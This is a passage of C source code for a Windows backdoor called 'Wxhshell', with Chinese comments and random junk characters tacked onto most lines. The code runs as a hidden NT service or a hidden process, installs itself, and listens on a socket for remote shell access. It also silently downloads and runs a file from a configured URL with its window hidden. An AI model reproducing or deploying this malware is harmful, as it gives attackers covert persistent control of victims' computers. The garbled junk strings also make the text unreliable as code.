} PROCESS_BASIC_INFORMATION; >z~_s6#CP
EKO~\d
PROCNTQSIP NtQueryInformationProcess; _Ss}dU9
3ZC@q
#R
A
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; VDro(?p8Z
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ySI}Nm>&=
_M&n~ r
HANDLE hProcess; y4! :l=E^
PROCESS_BASIC_INFORMATION pbi; Wy\^}
*o5[P\'6
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _k :BY
if(NULL == hInst ) return 0; ck%.D%=
wpp!H<')
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); KwV!smi2
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); [m4M#Lg\0
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); & kVa*O
[NJ2rQ/w7
if (!NtQueryInformationProcess) return 0;
!4`:(G59
t^Lb}A#$4
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); W}N7jPO}
if(!hProcess) return 0; w#hg_RK(Jr
m,"-/)
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; :Tv>)N
%sPze]
CloseHandle(hProcess); j/Y]3RSMp
GqNOWK2O
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 3=o4ncg(
if(hProcess==NULL) return 0; vNs`UkA
/P-#y@I
HMODULE hMod; Sk"hqF.2
char procName[255]; .I EHjy\+
unsigned long cbNeeded; r~JGs?GH
D 5oYcGc
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Cg?Mk6 i
eub}+~_?[
CloseHandle(hProcess); si)>:e
- f ^!R
if(strstr(procName,"services")) return 1; // 以服务启动 <,0/BMz
R2?s
NlF
return 0; // 注册表启动 {tl{j1d|
} l5=ih9u
LLT6*up$
// 主模块 [&4+
<Nl'
int StartWxhshell(LPSTR lpCmdLine) |c8\alw
{ /;w(sU
SOCKET wsl; z;P#
BOOL val=TRUE; }y+Qj6dP
int port=0; o~e_M-
struct sockaddr_in door; oJ*,a
#"~\/sb
if(wscfg.ws_autoins) Install(); rr2!H%:
pnE]B0e
port=atoi(lpCmdLine); GDC@s<[k
1fsNQ!vQP
if(port<=0) port=wscfg.ws_port; EI*~VFx
szhSI
WSADATA data; ;,6C&|n]w
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 1kpw*$P0
C|Y[T{g?t
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; +ctU7
rVy
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); AaxQBTB
door.sin_family = AF_INET; !4D?X\~"%
door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?wlRHVZ
door.sin_port = htons(port); .tGz, z}
-`{W~yz
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { iX{2U lF7
closesocket(wsl); vdvnwzp!l
return 1; yA"?Hv \o;
} Yq51+\d
fNu/> pN
if(listen(wsl,2) == INVALID_SOCKET) { n.a2%,|v
closesocket(wsl); r5UVBV8T
return 1; sRZ<c
} !ry+{v+A
Wxhshell(wsl); ,g}$u'A+d
WSACleanup(); [jlum>K
e(a,nZF.
return 0; ,D*bLXWh
wMN{ 9Ce3j
} 6lg]5d2CD
(pv}>1
// 以NT服务方式启动 cf$
hIB)Oi
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ,G46i)E\
{ pO7OP"q1
DWORD status = 0; DpA)Vdj
DWORD specificError = 0xfffffff; 7]1a3Jk
LI3L~6A>
serviceStatus.dwServiceType = SERVICE_WIN32; aACPyfGQ
serviceStatus.dwCurrentState = SERVICE_START_PENDING; o$;&q
*
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; \W TKw x
serviceStatus.dwWin32ExitCode = 0; ]g ;+7
serviceStatus.dwServiceSpecificExitCode = 0; 0\Jeyb2dl
serviceStatus.dwCheckPoint = 0; =hb)e}l
serviceStatus.dwWaitHint = 0; WHv6E!^\_
`5h^!="
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); J|^XD<Y
if (hServiceStatusHandle==0) return; 6pS}\aD
x+za6e_k"
status = GetLastError(); gI2'[OU
if (status!=NO_ERROR) +:ms`Sr>
{ :;hg :Q:
serviceStatus.dwCurrentState = SERVICE_STOPPED; L-}Uj^yF
serviceStatus.dwCheckPoint = 0; >lqo73gM9
serviceStatus.dwWaitHint = 0; G;vj3#u?
serviceStatus.dwWin32ExitCode = status; vxk0@k_
serviceStatus.dwServiceSpecificExitCode = specificError; ak_y:O|
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Pf%I6bVN9
return; Z8ivw\|M8
} h
x5M)8#+
zb4@U=?w}
serviceStatus.dwCurrentState = SERVICE_RUNNING; R+K|K2"
serviceStatus.dwCheckPoint = 0; . 70=xH
serviceStatus.dwWaitHint = 0; xYv;l\20.
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); pL[3,.@WA
} wzxV)1jT
d
oEuKT
// 处理NT服务事件,比如:启动、停止 2SlL`hN>Z
VOID WINAPI NTServiceHandler(DWORD fdwControl) uK(]@H7~!c
{ Vq-Kl[-|
switch(fdwControl) $,/E"G`
{ iZ}c[hC'3`
case SERVICE_CONTROL_STOP: O wu?ND
serviceStatus.dwWin32ExitCode = 0; 1twpOZ>
serviceStatus.dwCurrentState = SERVICE_STOPPED; z^tzP~nI
serviceStatus.dwCheckPoint = 0; "?aI
serviceStatus.dwWaitHint = 0; >\:GFD{z
{ | Z7j
s"
SetServiceStatus(hServiceStatusHandle, &serviceStatus); x;bA\b
} T!9AEG
return; 5HHf3E [
case SERVICE_CONTROL_PAUSE: j-**\.4a~
serviceStatus.dwCurrentState = SERVICE_PAUSED; ,\&r\!=
break; i4k [#x
case SERVICE_CONTROL_CONTINUE: y O@1#
serviceStatus.dwCurrentState = SERVICE_RUNNING; ^;s/4
break;
*$DD+]2
case SERVICE_CONTROL_INTERROGATE: xgkCN$zQ`
break; E`qX|n
}; C_q2bI
SetServiceStatus(hServiceStatusHandle, &serviceStatus); f2o6GC_
} ge?0>UU;~
u]O}Ub`
// 标准应用程序主函数 (b[=~Nh'
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 7_j t =sr
{ TTa3DbFp%
@oH\r-jsgu
// 获取操作系统版本 3 !sZA?q
OsIsNt=GetOsVer(); M,ybj5:6
GetModuleFileName(NULL,ExeFile,MAX_PATH); wVI_SQ<8V
45[,LJaMd
// 从命令行安装 C}3a^j
if(strpbrk(lpCmdLine,"iI")) Install(); G;wh).jG5
+ 0*\q
// 下载执行文件 HRbv%
if(wscfg.ws_downexe) { N>a~k}pPH
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) V"K.s2U^
WinExec(wscfg.ws_filenam,SW_HIDE); ^pew'pHQ
} KTmwkZcfYD
#l-zY}&
if(!OsIsNt) { 6+ptL-Zt<
// 如果时win9x,隐藏进程并且设置为注册表启动 z!b:|*m]w
HideProc(); BT0;I
StartWxhshell(lpCmdLine); Y$Rte.?
} ,+h<qBsV@
else EFI!b60mc
if(StartFromService()) Tyaqa0
// 以服务方式启动 T1Z*>(M
StartServiceCtrlDispatcher(DispatchTable); <liprUFsn
else Y^d#8^cP
// 普通方式启动 +T*??OW@
StartWxhshell(lpCmdLine); RZq_}-P,.c
FGc#_4SiL
return 0; Ny`SE\B+/
}